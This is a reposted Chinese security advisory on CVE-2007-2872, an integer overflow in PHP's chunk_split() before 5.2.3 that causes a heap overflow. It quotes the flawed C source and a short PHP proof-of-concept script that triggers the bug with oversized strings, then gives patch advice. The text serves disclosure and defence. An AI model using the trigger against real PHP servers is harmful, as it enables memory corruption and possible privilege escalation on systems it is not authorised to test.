PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
一个用于MySQL的PHP XML类
Oct 09 PHP
PHP提示Notice: Undefined variable的解决办法
Nov 24 PHP
php cli 小技巧
Jun 03 PHP
如何在php中正确的使用json
Aug 06 PHP
PHP缓存机制Output Control详解
Jul 14 PHP
PHP exif扩展方法开启详解
Jul 28 PHP
基于PHP后台的Android新闻浏览客户端
May 23 PHP
php字符串的替换,分割和连接方法
May 23 PHP
php中array_slice和array_splice函数解析
Oct 18 PHP
php json转换相关知识(小结)
Dec 21 PHP
ThinkPHP5+UEditor图片上传到阿里云对象存储OSS功能示例
Aug 05 PHP
ThinkPHP5&amp;5.1实现验证码的生成、使用及点击刷新功能示例
Feb 07 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
一个好用的分页函数
2006/11/16 PHP
php下使用无限生命期Session的方法
2007/03/16 PHP
php中神奇的fastcgi_finish_request
2011/05/02 PHP
php中将html中的br换行符转换为文本输入中的换行符
2013/03/26 PHP
深入解读php中关于抽象(abstract)类和抽象方法的问题分析
2014/01/03 PHP
php判断文件夹是否存在不存在则创建
2015/04/09 PHP
一段好玩的JavaScript代码
2006/12/01 Javascript
js模拟滚动条(横向竖向)
2013/02/22 Javascript
Javascript中各种trim的实现详细解析
2013/12/10 Javascript
jQuery+CSS实现的网页二级下滑菜单效果
2015/08/25 Javascript
jQuery仿京东商城楼梯式导航定位菜单
2016/07/25 Javascript
JS实现动态增加和删除li标签行的实例代码
2016/10/16 Javascript
脚本div实现拖放功能(两种)
2017/02/13 Javascript
vue-router 组件复用问题详解
2018/01/22 Javascript
微信小程序如何获取群聊的openGid以及名称详解
2019/07/17 Javascript
微信小程序中使用 async/await的方法实例分析
2020/05/06 Javascript
微信小程序手动添加收货地址省市区联动
2020/05/18 Javascript
Vue自定义全局弹窗组件操作
2020/08/11 Javascript
解决vue请求接口第一次成功,第二次失败问题
2020/09/08 Javascript
Nodejs + sequelize 实现增删改查操作
2020/11/07 NodeJs
Vue在H5 项目中使用融云进行实时个人单聊通讯
2020/12/14 Vue.js
跟老齐学Python之大话题小函数(1)
2014/10/10 Python
Python实现基本线性数据结构
2016/08/22 Python
flask + pymysql操作Mysql数据库的实例
2017/11/13 Python
Python数据类型中的“冒号“[::]——分片与步长操作示例
2018/01/24 Python
详谈Python3 操作系统与路径 模块(os / os.path / pathlib)
2018/04/26 Python
python3实现163邮箱SMTP发送邮件
2018/05/22 Python
使用pandas批量处理矢量化字符串的实例讲解
2018/07/10 Python
浅谈python函数调用返回两个或多个变量的方法
2019/01/23 Python
JSF界面控制层技术
2013/06/17 面试题
租房协议书
2014/04/10 职场文书
环卫工作汇报材料
2014/10/28 职场文书
暑期社会实践证明书
2014/11/17 职场文书
小学教师读书笔记
2015/07/01 职场文书
Python中的np.argmin()和np.argmax()函数用法
2021/06/02 Python
Pytorch中Softmax和LogSoftmax的使用详解
2021/06/05 Python